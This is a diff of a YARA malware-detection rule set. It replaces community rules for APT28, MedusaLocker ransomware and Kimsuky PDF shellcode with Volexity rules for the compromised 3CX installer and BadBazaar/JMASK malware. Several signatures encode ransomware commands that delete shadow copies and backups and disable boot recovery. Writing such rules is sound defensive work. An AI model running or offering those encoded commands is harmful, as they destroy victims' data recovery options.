+		hash1 = "7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$seq1 = { 55 8b ec 83 e4 f8 81 ec 08 04 00 00 a1 34 45 49 00 33 c4 89 84 24 04 04 00 00 83 ec 08 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 af 9f ff ff 83 c4 04 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 98 9f ff ff 83 c4 04 ba [2] 48 00 b9 ?? 82 48 00 68 [2] 48 00 e8 81 9f ff ff 83 c4 0c 8d 04 24 68 00 04 00 00 6a 00 50 e8 [2] 01 00 83 c4 0c 8d 04 24 [4] 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? ab 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 6c 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? a9 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 83 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 33 c0 66 89 84 24 fe 03 00 00 8d 04 24 68 [2] 48 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? a6 49 00 68 00 02 00 00 50 e8 [2] 02 00 83 c4 0c 8d 04 24 68 ?? 83 48 00 68 00 02 00 00 50 e8 [2] 02 00 8d 4c 24 0c e8 6b a1 ff ff 83 c4 04 ba [2] 48 00 b9 ?? 83 48 00 68 [2] 48 00 e8 94 9e ff ff 8b 8c 24 10 04 00 00 83 c4 0c 33 cc e8 [2] 01 00 8b e5 5d }
-		$seq2 = { 55 8b ec 6a ff 68 [2] 47 00 64 a1 00 00 00 00 50 81 ec d8 00 00 00 a1 34 45 49 00 33 c5 89 45 f0 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b 45 08 8b 75 14 c7 45 fc 00 00 00 00 89 85 34 ff ff ff 89 85 40 ff ff ff 33 c0 50 50 50 50 c7 85 3c ff ff ff 00 00 00 00 68 ?? 70 48 00 89 b5 6c ff ff ff c7 85 48 ff ff ff 00 00 00 00 c7 85 44 ff ff ff 00 00 00 00 89 85 50 ff ff ff ff 15 78 55 47 00 89 85 38 ff ff ff 85 c0 74 3f 6a 00 68 bb 01 00 00 68 ?? 6d 48 00 50 ff 15 8c 55 47 00 89 85 44 ff ff ff 85 c0 74 22 68 00 00 80 00 6a 00 6a 00 6a 00 68 ?? 71 48 00 68 ?? 6d 48 00 50 ff 15 90 55 47 00 89 85 50 ff ff ff 8b 3d 44 53 47 00 6a 00 6a 00 6a 00 6a 00 6a ff 56 6a 00 68 e9 fd 00 00 ff d7 8b f0 56 e8 ?? 35 01 00 83 c4 04 89 85 4c ff ff ff 6a 00 6a 00 56 50 6a ff ff b5 6c ff ff ff 6a 00 68 e9 fd 00 00 ff d7 68 80 00 00 00 8b f8 8d 85 70 ff ff ff 6a 00 50 e8 [2] 02 00 57 8d 85 70 ff ff ff 68 ?? 79 48 00 50 e8 ?? a3 00 00 83 c4 18 c7 85 64 ff ff ff 00 00 00 00 33 c0 c7 85 68 ff ff ff 07 00 00 00 8d 8d 54 ff ff ff 66 89 85 54 ff ff ff 6a 10 68 [2] 48 00 e8 ?? 84 00 00 8d 8d 70 ff ff ff c7 45 fc 01 00 00 00 8d 51 02 66 8b 01 83 c1 02 66 85 c0 75 f5 2b ca 8d 85 70 ff ff ff d1 f9 51 50 8d 8d 54 ff ff ff e8 89 63 00 00 6a 33 68 ?? 71 48 00 8d 8d 54 ff ff ff e8 77 63 00 00 8b b5 50 ff ff ff 85 f6 }
-		$s1 = "taskkill /im svehost.exe /t /f" fullword ascii
-		$s2 = "\\AppData\\Windows\\svehost.exe" fullword ascii
-		$s3 = "svehost.exe" fullword wide
-		$s4 = "bdagent.exe" fullword wide
-		$s5 = "taskkill /im keepass.exe /t /f" fullword ascii
-		$s6 = "%s\\AppData\\Windows\\svehost" fullword ascii
-		$s7 = "\\AppData\\Roaming\\ViberPc" fullword wide
-		$s8 = "\\AppData\\Roaming\\Skype" fullword wide
+		$shellcode = {
+                        44 8D 4A ??
+                        44 8D 92 ?? ?? ?? ??
+                        45 85 C9
+                        45 0F 49 D1
+                        41 81 E2 00 FF FF FF
+                        41 F7 DA
+                        44 01 D2
+                        FF C2
+                        4C 63 CA
+                        46 8A 94 0C ?? ?? ?? ??
+                        45 00 D0
+                        45 0F B6 D8
+                        42 8A AC 1C ?? ?? ?? ??
+                        46 88 94 1C ?? ?? ?? ??
+                        42 88 AC 0C ?? ?? ?? ??
+                        42 02 AC 1C ?? ?? ?? ??
+                        44 0F B6 CD
+                        46 8A 8C 0C ?? ?? ?? ??
+                        45 30 0C 0E
+                        48 FF C1
+                        48 39 C8
+                        75 ??
+                }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >200KB and 1 of ($seq*) and 4 of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_APT_APT28_Zekapab_Mar_2021_1 : FILE
+rule VOLEXITY_Informational_Win_3Cx_Msi : UTA0040
 {
 	meta:
-		description = "Detect Zekapab used by APT28 group"
-		author = "Arkbird_SOLG"
-		id = "634f32dd-8bcf-5c58-a335-9b66ff568a54"
-		date = "2021-03-15"
-		modified = "2021-03-15"
-		reference = "https://twitter.com/DrunkBinary/status/1371423755608719360"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-15/APT28/APT_APT28_Zekapab_Mar_2021_1.yar#L1-L25"
-		license_url = "N/A"
-		logic_hash = "dabaab47c193a05620d282a00b6b47f710cfa6b1efc699ea5d47267d10cfdcb6"
-		score = 60
-		quality = 23
-		tags = "FILE"
-		hash1 = "eae62bb4110bcd00e9d1bcaba9000defcda3d1ab832fa2634d928559d066cb15"
+		description = "Detects 3CX installers created in March 2023, 3CX was known to be compromised at this time."
+		author = "threatintel@volexity.com"
+		id = "ac26e7b1-61eb-5074-bcda-46d714bdba4c"
+		date = "2023-03-30"
+		modified = "2023-03-30"
+		reference = "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-03-30 3CX/indicators/rules.yar#L134-L152"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "c04de2653ef587f27c7ebf058c6f6c345e16b67f36ccc4306bc49f8c4394728e"
+		score = 75
+		quality = 80
+		tags = "UTA0040"
+		hash1 = "aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868"
+		memory_suitable = 0
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 68 74 74 70 3A 2F 2F }
-		$s2 = { 68 74 74 70 73 3A 2F 2F }
-		$s3 = { 32 44 34 46 37 30 36 35 36 45 32 30 37 30 37 32 36 46 36 33 36 35 37 33 37 33 32 44 }
-		$s4 = { 35 30 34 33 32 30 34 45 36 31 36 44 36 35 33 41 32 30 }
-		$s5 = { 34 42 34 32 37 32 36 34 32 30 34 43 36 31 36 45 36 37 33 41 32 30 }
-		$s6 = { 53 79 73 74 65 6d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4b 65 79 62 6f 61 72 64 20 4c 61 79 6f 75 74 73 5c 25 2e 38 78 }
-		$header1 = { 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 }
-		$header2 = { 2d 2d 25 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 25 73 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 25 73 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 25 73 }
-		$dbg1 = { 46 00 69 00 6c 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 6e 00 6f 00 74 00 20 00 66 00 6f 00 75 00 6e 00 64 00 0d 00 4e 00 6f 00 74 00 20 00 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 65 00 64 }
-		$dbg2 = { 53 00 79 00 73 00 74 00 65 00 6d 00 20 00 45 00 72 00 72 00 6f 00 72 00 2e 00 20 00 20 00 43 00 6f 00 64 00 65 00 3a 00 20 00 25 00 64 00 2e 00 0d 00 0a 00 25 00 73 }
-		$dbg3 = { 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 25 00 73 00 2e 00 0a 00 43 00 6f 00 6e 00 6e 00 65 00 63 00 74 00 65 00 64 00 2e }
-		$dbg4 = { 45 00 72 00 72 00 6f 00 72 00 20 00 72 00 65 00 61 00 64 00 69 00 6e 00 67 00 20 00 25 00 73 00 25 00 73 00 25 00 73 00 3a 00 20 00 25 00 73 }
-		$dbg5 = { 52 00 65 00 73 00 6f 00 6c 00 76 00 69 00 6e 00 67 00 20 00 68 00 6f 00 73 00 74 00 6e 00 61 00 6d 00 65 00 20 00 25 00 73 00 2e }
-		$dbg6 = { 53 00 6f 00 63 00 6b 00 65 00 74 00 20 00 45 00 72 00 72 00 6f 00 72 00 20 00 23 00 20 00 25 00 64 00 0d 00 0a 00 25 00 73 }
+		$cert = { 1B 66 11 DF 9C 9A 4D 6E CC 8E D5 0C 9B 91 78 73 }
+		$app = "3CXDesktopApp.exe"
+		$data = "202303"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >100KB and 1 of ($header*) and 3 of ($s*) and 4 of ($dbg*)
+		all of them
 }
-rule ARKBIRD_SOLG_Exp_Underminer_Apr_2021_1 : FILE
+rule VOLEXITY_Apt_Malware_Apk_Badbazaar_Common_Certificate : EVILBAMBOO FILE
 {
 	meta:
-		description = "Detect Underminer exploit kit"
-		author = "Arkbird_SOLG"
-		id = "bd2a6b30-e05a-5f90-8dc2-719c1ba48a61"
-		date = "2021-04-14"
-		modified = "2021-04-15"
-		reference = "https://twitter.com/nao_sec/status/1382358986813415427"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-14/Underminer/Exp_Underminer_Apr_2021_1.yar#L1-L20"
-		license_url = "N/A"
-		logic_hash = "46dd4d8ba58e79761056d3dd6921530520b0071090bcfc3bfaed7a6804f787b7"
+		description = "Detection of the common.cer file used for a large BADBAZAAR malware cluster for its certificate pinning for the C2 communication."
+		author = "threatintel@volexity.com"
+		id = "5a033770-7ad3-5c79-90ac-b1e3fff6b5f0"
+		date = "2023-06-01"
+		modified = "2023-06-13"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L230-L255"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "861d4e1c40847c6ade04eddb047370d645afea6d5c16d55155fa58a16111c39e"
 		score = 75
-		quality = 63
-		tags = "FILE"
-		hash1 = "172ac73cda6260918510ad2f4481a7fcd90c5a86d47dd880c5bcb3596dd20a7d"
+		quality = 80
+		tags = "EVILBAMBOO, FILE"
+		hash1 = "6aefc2b33e23f6e3c96de51d07f7123bd23ff951d67849a9bd32d446e76fb405"
+		scan_context = "file"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 6e 65 77 20 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 2e 53 68 6f 63 6b 77 61 76 65 46 6c 61 73 68 22 29 }
-		$s2 = "$version" fullword ascii
-		$s3 = { 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 26 26 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 2e 6c 65 6e 67 74 68 3e 30 }
-		$s4 = { 6e 61 76 69 67 61 74 6f 72 2e 70 6c 75 67 69 6e 73 5b 22 53 68 6f 63 6b 77 61 76 65 20 46 6c 61 73 68 22 5d }
-		$s5 = { 63 6c 61 73 73 69 64 3d 27 63 6c 73 69 64 3a 44 32 37 43 44 42 36 45 2d 41 45 36 44 2d 31 31 63 66 2d 39 36 42 38 2d 34 34 34 35 35 33 35 34 30 30 30 30 27 }
-		$s6 = { 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 73 68 6f 63 6b 77 61 76 65 2d 66 6c 61 73 68 22 }
-		$s7 = { 22 64 61 74 61 22 2c 22 2f 6c 6f 67 6f 2e 73 77 66 22 }
-		$s8 = { 22 30 30 30 30 30 30 30 30 22 2b 28 [1-8] 5b 30 5d 3e 3e 3e 30 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2e 73 6c 69 63 65 28 2d 38 29 2b 28 22 30 30 30 30 30 30 30 30 22 2b 28 [1-8] 5b 31 5d 3e 3e 3e 30 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2e 73 6c 69 63 65 28 2d 38 29 }
+		$b1 = {30 82 03 61 30 82 02 49 a0 03 02 01 02 02 04 2b 6e df 67 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b}
+		$s1 = "california1"
+		$s2 = "los1"
+		$s3 = "tech1"
+		$s4 = "common1"
+		$s5 = "common0"
+		$s6 = "220401234506Z"
+		$s7 = "470326234506Z0a1"
 
 	condition:
-		filesize >5KB and 6 of ($s*)
+		$b1 at 0 or all of ($s*)
 }
-rule ARKBIRD_SOLG_RAN_Medusalocker_July_2021_1 : FILE
+rule VOLEXITY_Apt_Malware_Apk_Badbazaar_Stage2_Implant_May23 : EVILBAMBOO FILE
 {
 	meta:
-		description = "Detect MedusaLocker ransomware"
-		author = "Arkbird_SOLG"
-		id = "7eec35ac-f1ec-596b-8224-ef27e31e841c"
-		date = "2021-07-25"
-		modified = "2021-08-08"
-		reference = "https://twitter.com/r3dbU7z/status/1418433910057353217"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-25/MedusaLocker/RAN_MedusaLocker_July_2021_1.yara#L1-L28"
-		license_url = "N/A"
-		logic_hash = "541665541c07b585a7dfa024f85516b7be94d7d8d76a85e58c8c3b71fd0550ff"
+		description = "Detection of the second stage capability of the BadBazaar android malware that has the main malicious capabilities. Will gather various info about the user/phone and routinely send this to the C2."
+		author = "threatintel@volexity.com"
+		id = "1f97c610-773f-5385-935a-445cb9192157"
+		date = "2023-05-25"
+		modified = "2023-08-30"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L257-L285"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "2186369298ebfa0b892ecb14ebacc93c6d14c9c35012e8e6cdff077634cf3773"
 		score = 75
-		quality = 73
-		tags = "FILE"
-		hash1 = "033b4950a8f249b20eb86ec6f8f2ea0a1567bb164289d1aa7fb0ba51f9bbe46c"
-		hash2 = "0abb4a302819cdca6c9f56893ca2b52856b55a0aa68a3cb8bdcd55dcc1fad9ad"
-		hash3 = "c2a0a317d73c96428ab088a8f0636ec4ccace7ca691c84ed66a83a70183f40dc"
-		hash4 = "f5fb7fa5231c18f0951c755c4cb0ec07b0889b5e320f42213cbf6bbbe499ad31"
-		tlp = "white"
-		adversary = "RaaS"
+		quality = 80
+		tags = "EVILBAMBOO, FILE"
+		hash1 = "bf5f7fbf42236e89bcf663d2822d54bee89abaf3f247a54f371bf156e0e03629"
+		scan_context = "file"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 52 00 65 00 73 00 69 00 7a 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 53 00 74 00 6f 00 72 00 61 00 67 00 65 00 20 00 2f 00 66 00 6f 00 72 00 3d 00 ?? 00 3a 00 20 00 2f 00 6f 00 6e 00 3d 00 ?? 00 3a 00 20 00 2f 00 6d 00 61 00 78 00 73 00 69 00 7a 00 65 00 3d }
-		$s2 = { 64 00 65 00 6c 00 20 00 2f 00 73 00 20 00 2f 00 66 00 20 00 2f 00 71 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 56 00 48 00 44 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 61 00 63 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 61 00 6b 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 77 00 62 00 63 00 61 00 74 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 62 00 6b 00 66 00 20 00 ?? 00 3a 00 5c 00 42 00 61 00 63 00 6b 00 75 00 70 00 2a 00 2e 00 2a 00 20 00 ?? 00 3a 00 5c 00 62 00 61 00 63 00 6b 00 75 00 70 00 2a 00 2e 00 2a 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 73 00 65 00 74 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 77 00 69 00 6e 00 20 00 ?? 00 3a 00 5c 00 2a 00 2e 00 64 00 73 00 6b }
-		$s3 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 62 00 6f 00 6f 00 74 00 73 00 74 00 61 00 74 00 75 00 73 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 69 00 67 00 6e 00 6f 00 72 00 65 00 61 00 6c 00 6c 00 66 00 61 00 69 00 6c 00 75 00 72 00 65 00 73 }
-		$s4 = { 42 67 49 41 41 41 43 6b 41 41 42 53 55 30 45 78 }
-		$s5 = "wbadmin DELETE SYSTEMSTATEBACKUP -deleteOldest" fullword wide
-		$s6 = { 62 00 63 00 64 00 65 00 64 00 69 00 74 00 2e 00 65 00 78 00 65 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 4e 00 6f }
-		$s7 = { 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 53 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 41 00 6c 00 6c 00 20 00 2f 00 51 00 75 00 69 00 65 00 74 }
-		$s8 = { 77 00 6d 00 69 00 63 00 2e 00 65 00 78 00 65 00 20 00 53 00 48 00 41 00 44 00 4f 00 57 00 43 00 4f 00 50 00 59 00 20 00 2f 00 6e 00 6f 00 69 00 6e 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00 76 00 65 }
-		$s9 = { 77 00 62 00 61 00 64 00 6d 00 69 00 6e 00 20 00 44 00 45 00 4c 00 45 00 54 00 45 00 20 00 53 00 59 00 53 00 54 00 45 00 4d 00 53 00 54 00 41 00 54 00 45 00 42 00 41 00 43 00 4b 00 55 00 50 }
-		$s10 = { 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 20 4c 49 53 54 20 4f 46 20 45 4e 43 52 59 50 54 45 44 20 46 49 4c 45 53 20 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 0d 0a }
-		$x1 = { 48 89 5c 24 08 57 48 83 ec 30 48 8b da 48 8b f9 e8 0b fe ff ff 44 8b 43 08 48 8d 47 28 44 2b 03 45 33 c9 48 8b 13 48 8b 4f 20 48 89 44 24 28 c7 44 24 20 00 00 00 00 ff 15 [2] 07 00 85 c0 74 12 c6 47 08 01 48 8b c7 48 8b 5c 24 40 48 83 c4 30 5f c3 ff 15 [2] 07 00 48 8b 5c 24 40 89 47 34 48 8b c7 }
+		$c1 = "%{\"command\":\"%s\",\"path\":\"%s\",\"files\":["
+		$c2 = "{\"name\":\"%s\",\"dirs\":\"%d\",\"files\":\"%d\",\"isfolder\":\"%d\",\"path\":\"%s\"},"
+		$s1 = "Timezon id:"
+		$s2 = "China Telecom"
+		$s3 = "China Unicom"
+		$s4 = "ConfigPipe"
+		$s5 = "ForwordTo"
+		$s6 = "can't get camera content"
+		$s7 = "cat /sys/class/net/wlan0/address"
+		$s8 = "_preferences_light"
+		$s9 = "registration_jid"
 
 	condition:
-		uint16(0)==0x5A4D and filesize >150KB and 9 of ($s*) and $x1
+		1 of ($c*) or 5 of ($s*)
 }
-rule ARKBIRD_SOLG_APT_Kimsuky_PDF_Shellcode_Aug_2021_1 : FILE
+rule VOLEXITY_Apt_Delivery_Web_Js_Jmask_Str_Array_Variant : EVILBAMBOO FILE
 {
 	meta:
-		description = "Detect Kimsuky shellcode used in fake PDF against South Korea"
-		author = "Arkbird_SOLG"
-		id = "0b8d514b-82b6-5106-a87a-0890be1850d5"
-		date = "2021-08-03"
-		modified = "2021-08-04"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-04/Kimsuky/APT_Kimsuky_PDF_Shellcode_Aug_2021_1.yara#L1-L23"
-		license_url = "N/A"
-		logic_hash = "432ae4d1e61aec51be03edf7767b1f05ea98d7cb7af90372a70f8ae86002f82a"
-		score = 50
-		quality = 75
-		tags = "FILE"
-		hash1 = "7900ca98a6fbed74aa5a393758c43ad7abc9d8c73c3fbab7af93bae681065f4e"
-		hash2 = "359ab5e0b57da0307ca9472e5b225dcd0f9dc9bf2efd2f15b1ca45b78791b6bc"
-		hash3 = "5ea7a724d99fab3f05f50dccd57db59451334ac8640c532d426df319dad55c9e"
-		level = "Experimental"
-		tlp = "white"
-		adversary = "Kimsuky"
+		description = "Detects the JMASK profiling script in an obfuscated format using a string array and an offset."
+		author = "threatintel@volexity.com"
+		id = "d5d32c8b-53fb-5103-ac73-05f320e71c97"
+		date = "2023-06-27"
+		modified = "2023-09-21"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L408-L444"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "0ae7c96e0f866f21d66d7a23bf937d6ce48c9dd1ea19142dbb13487208780146"
+		score = 75
+		quality = 80
+		tags = "EVILBAMBOO, FILE"
+		hash1 = "7995c382263f8dbbfc37a9d62392aef8b4f89357d436b3dd94dea842f9574ecf"
+		scan_context = "file"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$x1 = { 52 2f 53 2f 4a 61 76 61 53 63 72 69 70 74 3e 3e 0d 65 6e 64 6f 62 6a 0d }
-		$s1 = { 48 89 d4 57 e9 6f 22 47 16 ff ec 91 e6 7f a8 20 65 0c 43 db 53 7d e1 b6 }
-		$s2 = { 48 5e 64 35 50 98 b6 9b 63 9b 86 c1 1b f9 7f df f7 ea ea aa a6 31 78 f2 65 77 8e a6 bb }
-		$s3 = { ef a7 2c 5e 96 b8 84 06 66 b8 9e 54 cb 51 80 f1 66 35 65 69 0a 38 c5 35 7e 62 48 a2 18 c4 2b 76 0f ba 00 07 6a 2e c5 e3 71 66 ac 6d 12 f6 95 99 0b 37 a3 6c d1 5f 64 b3 fb 0e a0 8d f5 d9 f3 24 61 e9 18 c9 d9 6a a5 94 48 d3 5f e2 19 93 5a fe 33 99 e7 91 50 f5 8e 6e 5b 1d 07 1e 21 3c 2e 3c 7c bb 55 9f ad 2e 3c 7c 1f 1f }
-		$s4 = { b1 9a 3c f7 ce 9e 51 79 f2 c4 d9 13 3a a9 ee f0 95 3d fa be 86 ad cd ea d1 90 d4 4e 18 3a 51 58 b4 e9 97 b7 48 e5 62 32 36 5b 6c d8 ae a4 d2 1d b6 92 a7 af 67 15 c5 52 96 44 02 51 58 1c c7 1c a5 2f c3 28 d0 cf 56 10 f1 27 fd 1f 7e b7 9e 30 b5 9c e0 60 02 37 9e 44 4c 62 30 cb 36 2a a6 c4 f3 7c f1 5b 9e 25 73 d5 d4 f4 f0 fd 8a 1d 89 e1 9d 31 4b 59 ce 0c 33 b6 ab 4d 3b 5f a7 69 21 a0 42 11 13 f3 70 9f 27 33 b6 58 e7 38 49 2d 97 18 de bf c3 c2 97 35 4c 65 70 61 6a d7 1c 3e 7e f2 04 7e d1 39 bc a3 ad 5b 1e 51 65 0d 70 a5 4a 55 b3 89 d9 71 c7 1b 77 4f 15 41 0e 0a 09 28 ab 0d 14 43 af 55 f4 6c }
-		$s5 = { 91 42 d1 ed c0 be 73 73 3e 35 8f b4 8e 38 f9 97 ba f9 58 d6 8b 37 a8 82 29 e7 4d 35 ea e2 ba 48 e0 61 b5 a4 f6 d4 4b 90 6a 98 89 fb 81 39 8b 3b 18 de dc 9d b7 36 ec d2 f1 51 56 1a 10 d3 b5 6b b4 95 f9 1e 86 97 9c 71 d5 4b 9a fb 0c 89 ec 3c d4 1d ac 51 34 9f 63 4d 51 59 3c b1 11 7a cd 79 a0 7a d6 43 48 52 d6 9a 4f bb 70 9a f6 3d a5 8d 72 37 9c 5b 66 e8 37 b5 48 25 80 74 e3 c7 46 ae 45 47 8e b4 e5 e8 3a 52 cd d3 87 c1 67 27 d7 62 54 6e 52 86 71 c5 c1 9f 2c ee 31 fa 2e c9 6a 7b a0 60 50 9f 16 17 f9 45 cd d9 b5 00 78 e4 6c 6b b5 f2 8e e1 bd 00 7d 74 c5 a5 45 35 0c dc 79 9c 3d 82 6a 86 92 }
+		$array_1 = "http://eular.github.io"
+		$array_2 = "stun:stun.services.mozilla.com"
+		$array_3 = "\xE6\x9C\xAA\xE5\xAE\x89\xE8\xA3\x85MetaMask"
+		$array_4 = "/jquery/jquery.min.js"
+		$array_5 = "onicecandidate"
+		$ios_1 = "['a7', '640x1136', [_0x"
+		$ios_2 = "['a7', _0x"
+		$ios_3 = "['a8', _0x"
+		$ios_4 = "['a8', '750x1334', ['iPhone\\x206']]"
+		$ios_5 = "['a8', '1242x2208', ['iPhone\\x206\\x20Plus']]"
+		$ios_6 = "['a8', _0x"
+		$ios_7 = "['a9', _0x"
+		$ios_8 = "['a9', '750x1334', [_0x"
+		$ios_9 = "['a9', '1242x2208', ['iPhone\\x206s\\x20Plus']]"
+		$ios_10 = "['a9x', '2048x2732', ['iPad\\x20Pro\\x20(1st\\x20gen\\x2012.9-inch)']]"
+		$ios_11 = "['a10x', '1668x2224', [_0x"
+		$header = "info = {}, finished = 0x0;"
 
 	condition:
-		uint32(0)==0x46445025 and filesize >25KB and $x1 and 4 of ($s*)
+		3 of ($array_*) or 5 of ($ios_*) or $header
 }
-rule ARKBIRD_SOLG_APT_Kimsuky_PDF_Enc_Shellcode_Aug_2021_1 : FILE
+rule VOLEXITY_Apt_Delivery_Web_Js_Jmask : EVILBAMBOO FILE
 {
 	meta:
-		description = "Detect encoded Kimsuky shellcode used in fake PDF against South Korea"
-		author = "Arkbird_SOLG"
-		id = "8df7090a-6583-5d25-92bd-422e6b4191f7"
-		date = "2021-08-03"
-		modified = "2021-08-04"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-04/Kimsuky/APT_Kimsuky_PDF_Enc_Shellcode_Aug_2021_1.yara#L1-L22"
-		license_url = "N/A"
-		logic_hash = "54f549b92c232f789aff039c748f1f987e68e9ee10dfab309f2ecba16d574cdb"
-		score = 50
-		quality = 75
-		tags = "FILE"
-		hash1 = "83292ba7a1ddda6acf32181c693aa85b9e433fcb908a94ebccbed0f407a1a021"
-		hash2 = "512ad244c58064dfe102f27c9ec8814f3e3720593fe1e3ed48a8cb385d52ff84"
-		level = "Experimental"
-		tlp = "white"
-		adversary = "Kimsuky"
+		description = "Detects the JMASK profiling script in its minified // obfuscated format."
+		author = "threatintel@volexity.com"
+		id = "a7b653e1-f7c6-56cc-ab99-3de91d29ef3b"
+		date = "2023-06-15"
+		modified = "2023-09-21"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2023/2023-09-22 EvilBamboo/indicators/rules.yar#L446-L472"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "64315ac05049954d36297a616a25ffdd7ce81c6313c0878d5ba4082da24c21bb"
+		score = 75
+		quality = 80
+		tags = "EVILBAMBOO, FILE"
